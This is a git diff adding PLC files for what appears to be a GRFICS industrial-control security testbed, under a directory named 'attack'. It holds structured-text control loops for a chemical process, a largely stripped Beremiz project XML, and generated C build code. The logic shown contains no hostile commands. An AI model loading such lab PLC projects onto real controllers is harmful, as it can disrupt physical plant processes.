SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + 